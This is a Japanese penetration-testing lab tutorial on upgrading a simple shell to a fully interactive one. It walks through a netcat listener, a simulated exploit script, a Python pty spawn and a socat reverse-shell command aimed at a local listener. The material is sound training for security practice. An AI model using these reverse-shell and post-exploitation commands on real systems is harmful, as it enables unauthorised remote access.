はじめに
ペネトレーションテストの分野では、ターゲットシステムにアクセスするために、シェル(shell)を取得することがよくあります。このシェルには、シンプルシェル(simple shell)とインタラクティブシェル(interactive shell)があります。シンプルシェルは機能が制限されており、インタラクティブな機能がありません。一方、インタラクティブシェルはより強力で使いやすい環境を提供します。この実験(Lab)では、シンプルシェルとインタラクティブシェルの違いを探り、シンプルシェルをインタラクティブシェルにアップグレードするプロセスを案内します。
シンプルシェルの理解
このステップでは、シンプルシェル(simple shell)の概念とその制限について探ります。シンプルシェルは通常、リモートコマンド実行の脆弱性やその他の攻撃手法を通じて取得されます。ターゲットシステムでコマンドを実行することはできますが、攻撃後の段階で支障となるいくつかの重要な機能が欠けています。
まず、ターミナルウィンドウを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/projectターゲットシステムでシンプルシェルを取得するプロセスをシミュレートするために、
ncコマンドを使用してポート5911でリスナーを設定する必要があります。nc -lnvp 5911期待される出力:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911...このターミナルウィンドウは、シンプルシェル接続のリスナーとして機能します。
「別のターミナルウィンドウ」を開き、
/home/labex/projectディレクトリに移動すると、ホームディレクトリにexploit.shファイルが表示されます。このファイルは、ターゲットシステムでシンプルシェルを取得するために使用できるリモートコマンド実行攻撃をシミュレートします。cd /home/labex/projectexploit.shスクリプトを実行して、ポート5911のリスナーに接続し、ターゲットシステムでシンプルシェルを取得します。./exploit.sh期待される出力:
labex:project/ $./exploit.sh Simulating attack... Shell has been rebound, please check the terminal which you listen to the port 5911このスクリプトは、ポート
5911のリスナーに接続し、ターゲットシステムでシンプルシェルを提供します。リスナーを設定したターミナルウィンドウに戻ると、ターゲットシステムとの接続が確立されていることがわかります。
出力例:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696 |whoamiやlsb_release -aなどのコマンドを実行することで、シンプルシェルを取得したことを確認できます。ただし、シンプルシェルには、適切なコマンドプロンプト、タブ補完、suやsshなどのインタラクティブコマンドを使用する機能など、特定の機能が欠けていることに気づくでしょう。
Python を使用してインタラクティブシェルにアップグレードする
シンプルシェルをインタラクティブシェルにアップグレードする方法の 1 つは、Python の pty モジュールを使用することです。このモジュールを使うと、擬似ターミナル(pseudo-terminal、pts)を作成できます。
まず、以下のコマンドを実行して、ターゲットシステムに Python がインストールされているか確認します。
which pythonPython が利用可能な場合、以下のコマンドを使用して擬似ターミナルを作成できます。
python -c 'import pty; pty.spawn("/bin/bash");'このコマンドは、擬似ターミナルをサポートする新しいインタラクティブシェルを起動します。これにより、
suやsshなどのコマンドを問題なく実行できます。出力例:
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");' labex@660d6d4be229593d40db954d:~/project$ttyコマンドを実行し、その出力をファイルにリダイレクトすることで、新しいシェルが擬似ターミナルであることを確認できます。tty > /home/labex/project/shell.txtshell.txtファイルの内容を確認して、シェルが擬似ターミナル(pts)であるかどうかを確認します。cat /home/labex/project/shell.txt出力例:
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt /dev/pts/5
ただし、Python の擬似ターミナルはシンプルシェルのいくつかの制限を解消しますが、タブ補完、履歴ナビゲーション、vim や vi などのテキストエディタの適切なサポートなど、特定の機能がまだ欠けています。
PS: 擬似ターミナルシェルからログアウトするには、exit と入力するか、Ctrl+D を押します。
Socat を使用して完全なインタラクティブシェルにアップグレードする
より包括的な解決策として、socat ユーティリティを使用して、タブ補完、履歴ナビゲーション、テキストエディタの互換性など、すべての機能をサポートする完全なインタラクティブシェルを取得することができます。
まず、以下のコマンドを実行して、ターゲットシステムに socat がインストールされているか確認します。
which socat
socat が利用可能な場合は、以下の手順に従います。
「新しいターミナルウィンドウ」を開き、以下の
socatコマンドを使用してポート5912でリスナーを起動します。socat file:$(tty),raw,echo=0 tcp-listen:5912接続が確立されるのを待ちます。
シンプルシェルで、以下のコマンドを実行してリスナーに接続し、シェルを完全なインタラクティブシェルにアップグレードします。
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912リスナーを設定したターミナルウィンドウに戻ると、ターゲットシステムとの接続が確立されていることがわかります。これで、通常のターミナルセッションで期待されるすべての機能を備えた完全なインタラクティブシェルが利用できるようになります。
出力例:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912 labex@660d5d5ee229593d40db9301:~$
cat、ssh、vim などのコマンドを使用し、上下矢印キーでコマンド履歴をナビゲートすることで、新しいインタラクティブシェルをテストしてください。
まとめ
この実験(Lab)では、ペネトレーションテストの文脈でシンプルシェル(simple shell)とインタラクティブシェル(interactive shell)の概念を探りました。シンプルシェルの制限と、効率的な攻撃後活動のためにインタラクティブシェルにアップグレードする重要性を学びました。シンプルシェルをアップグレードする 2 つの方法を取り上げました。1 つは Python の pty モジュールを使用して擬似ターミナル(pseudo-terminal)を作成する方法で、もう 1 つは socat ユーティリティを使用して必要なすべての機能を備えた完全なインタラクティブシェルを取得する方法です。これらの手法を練習することで、将来のペネトレーションテストの作業で役立つ貴重なスキルを身につけました。これにより、シンプルシェルがもたらすチャレンジ(Challenge)を克服し、攻撃後の作業を効率化することができます。